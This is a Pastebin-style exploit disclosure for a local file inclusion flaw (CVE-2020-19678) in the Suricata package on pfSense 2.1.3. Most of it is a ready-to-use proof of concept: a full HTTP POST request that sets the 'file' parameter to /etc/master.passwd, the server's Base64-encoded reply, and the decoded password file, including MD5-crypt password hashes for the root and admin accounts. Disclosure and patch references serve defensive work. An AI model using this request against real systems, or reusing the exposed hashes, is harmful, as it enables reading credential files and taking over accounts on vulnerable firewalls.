Headline
CVE-2020-19678: LFI vulnerability in Suricata 1.4.6 on Pfsense 2.1.3 - Pastebin.com
Directory Traversal vulnerability found in Pfsense v.2.1.3 and Pfsense Suricata v.1.4.6 pkg v.1.0.1 allows a remote attacker to obtain sensitive information via the file parameter to suricata/suricata_logs_browser.php.
# Exploit Title: LFI(Local File Inclusion) vulnerability in Suricata 1.4.6 on Pfsense 2.1.3
# Date: 2014-05-21
# Software Link: https://www.pfsense.org/
# Version: 2.1.3
# Vendor: Pfsense
# Exploit Author: Vu Van Hieu - [email protected], Nguyen Quoc Viet - [email protected]
# CVE: CVE-2020-19678
# Category: IDS
# Tested on: Firefox
# Description
# There is a LFI(Local File Inclusion) vulnerability in Suricata 1.4.6 pkg v1.0.1 on Pfsense 2.1.3
# It allows attacker to include files on a server through the web browser, and read any files on server.
# The vulnerability allows remote attackers to retrieve arbitrary files via the file parameter to /suricata/suricata_logs_browser.php
# POC
This is an POST HEADER when you access to https://Your_Pfsense_Server/suricata/suricata_logs_browser.php. You can modified “file” parameter to read any file(Example: /etc/master.passwd):
+ HTTP POST header:
```
Host: Your_Pfsense_Server
User-Agent: Mozilla/5.0
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://Your_Pfsense_Server/suricata/suricata_logs_browser.php
Content-Length: 132 Cookie: cookie_test=1400576638; PHPSESSID=7d20151aeace555ee38d8d923f47c3aa
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
__csrf_magic=sid:4c06775fcb95114389a0da397f509158d261ea54,1400573055&action=load&file=/etc/master.passwd
```
+ The server will response Base64 Encoded data:
```
|0|/etc/master.passwd|IyAkRnJlZUJTRDogc3JjL2V0Yy9tYXN0ZXIucGFzc3dkLHYgMS4zOSAyMDA0LzA4LzAxIDIxOjMzOjQ3IG1hcmttIEV4cCAkCiMKcm9vdDokMSRkU0pJbUZwaCRHdlo3LjFVYnVXdS5ZYjhldEMwcmUuOjA6MDo6MDowOkNoYXJsaWUgJjovcm9vdDovYmluL3NoCnRvb3I6KjowOjA6OjA6MDpCb3VybmUtYWdhaW4gU3VwZXJ1c2VyOi9yb290OgpkYWVtb246KjoxOjE6OjA6MDpPd25lciBvZiBtYW55IHN5c3RlbSBwcm9jZXNzZXM6L3Jvb3Q6L3Vzci9zYmluL25vbG9naW4Kb3BlcmF0b3I6KjoyOjU6OjA6MDpTeXN0ZW0gJjovOi91c3Ivc2Jpbi9ub2xvZ2luCmJpbjoqOjM6Nzo6MDowOkJpbmFyaWVzIENvbW1hbmRzIGFuZCBTb3VyY2U6LzovdXNyL3NiaW4vbm9sb2dpbgp0dHk6Kjo0OjY1NTMzOjowOjA6VHR5IFNhbmRib3g6LzovdXNyL3NiaW4vbm9sb2dpbgprbWVtOio6NTo2NTUzMzo6MDowOktNZW0gU2FuZGJveDovOi91c3Ivc2Jpbi9ub2xvZ2luCmdhbWVzOio6NzoxMzo6MDowOkdhbWVzIHBzZXVkby11c2VyOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbmV3czoqOjg6ODo6MDowOk5ld3MgU3Vic3lzdGVtOi86L3Vzci9zYmluL25vbG9naW4KbWFuOio6OTo5OjowOjA6TWlzdGVyIE1hbiBQYWdlczovdXNyL3NoYXJlL21hbjovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOio6MjI6MjI6OjA6MDpTZWN1cmUgU2hlbGwgRGFlbW9uOi92YXIvZW1wdHk6L3Vzci9zYmluL25vbG9naW4Kc21tc3A6KjoyNToyNTo6MDowOlNlbmRtYWlsIFN1Ym1pc3Npb24gVXNlcjovdmFyL3Nwb29sL2NsaWVudG1xdWV1ZTovdXNyL3NiaW4vbm9sb2dpbgptYWlsbnVsbDoqOjI2OjI2OjowOjA6U2VuZG1haWwgRGVmYXVsdCBVc2VyOi92YXIvc3Bvb2wvbXF1ZXVlOi91c3Ivc2Jpbi9ub2xvZ2luCmJpbmQ6Kjo1Mzo1Mzo6MDowOkJpbmQgU2FuZGJveDovOi91c3Ivc2Jpbi9ub2xvZ2luCnByb3h5Oio6NjI6NjI6OjA6MDpQYWNrZXQgRmlsdGVyIHBzZXVkby11c2VyOi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpfcGZsb2dkOio6NjQ6NjQ6OjA6MDpwZmxvZ2QgcHJpdnNlcCB1c2VyOi92YXIvZW1wdHk6L3Vzci9zYmluL25vbG9naW4Kd3d3Oio6ODA6ODA6OjA6MDpXb3JsZCBXaWRlIFdlYiBPd25lcjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kbm9ib2R5Oio6NjU1MzQ6NjU1MzQ6OjA6MDpVbnByaXZpbGVnZWQgdXNlcjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KZGhjcGQ6KjoxMDAyOjEwMDI6OjA6MDpESENQIERhZW1vbjovbm9uZXhpc3RlbnQ6L3NiaW4vbm9sb2dpbgpfZGhjcDoqOjY1OjY1OjowOjA6ZGhjcCBwcm9ncmFtczovdmFyL2VtcHR5Oi91c3Ivc2Jpbi9ub2xvZ2luCl9pc2FrbXBkOio6Njg6Njg6OjA6MDppc2FrbXBkIHByaXZzZXA6L3Zhci9lbXB0eTovc2Jpbi9ub2xvZ2luCnV1Y3A6Kjo2Njo2Njo6MDowOlVVQ1AgcHNldWRvLXVzZXI6L3Zhci9zcG9vbC91dWNwcHVibGljOi91c3IvbG9jYWwvbGliZXhlYy91dWNwL3V1Y2ljbwpwb3A6Kjo2ODo2OjowOjA6UG9zdCBPZmZpY2UgT3duZXI6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9udHA6KjoxMjM6MTIzOjowOjA6TlRQIGRhZW1vbjovdmFyL2VtcHR5Oi9zYmluL25vbG9naW4KX3JlbGF5ZDoqOjkxMzo5MTM6OjA6MDpSZWxheSBEYWVtb246L3Zhci9lbXB0eTovdXNyL3NiaW4vbm9sb2dpbgphZG1pbjokMSRkU0pJbUZwaCRHdlo3LjFVYnVXdS5ZYjhldEMwcmUuOjA6MDo6MDowOlN5c3RlbSBBZG1pbmlzdHJhdG9yOi9yb290Oi9ldGMvcmMuaW5pdGlhbAp0ZXN0OipMT0NLRUQqJDEkTWoxY0RpdDIkQUpoZVlBalV1ZXIwa2dUWHd6dXRzLzoyMDAwOjY1NTM0OjowOjA6Oi9ob21lL3Rlc3Q6L3NiaW4vbm9sb2dpbgo=|
```
+ Decode the content in Base64:
```
# $FreeBSD: src/etc/master.passwd,v 1.39 2004/08/01 21:33:47 markm Exp $
root:$1$dSJImFph$GvZ7.1UbuWu.
Yb8etC0re.:0:0::0:0:Charlie &:/root:/bin/sh
toor:*:0:0::0:0:Bourne-again Superuser:/root:
daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5::0:0:System &:/:/usr/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologin
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25::0:0:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin
www:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologin
dhcpd:*:1002:1002::0:0:DHCP Daemon:/nonexistent:/sbin/nologin
_dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologin
_isakmpd:*:68:68::0:0:isakmpd privsep:/var/empty:/sbin/nologin
uucp:*:66:66::0:0:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologin
_ntp:*:123:123::0:0:NTP daemon:/var/empty:/sbin/nologin
_relayd:*:913:913::0:0:Relay Daemon:/var/empty:/usr/sbin/nologin
admin:$1$dSJImFph$GvZ7.1UbuWu.Yb8etC0re.:0:0::0:0:System Administrator:/root:/etc/rc.initial
test:*LOCKED*$1$Mj1cDit2$AJheYAjUuer0kgTXwzuts/:2000:65534::0:0::/home/test:/sbin/nologin
```
#REF
https://github.com/pfsense/pfsense-packages/pull/659
https://github.com/pfsense/pfsense-packages/commit/59ed3438729fd56452f58a0f79f0c288db982ac3
http://www.2ngon.com/2015/01/lfi-vulnerability-suricata-146-pkg-v101.html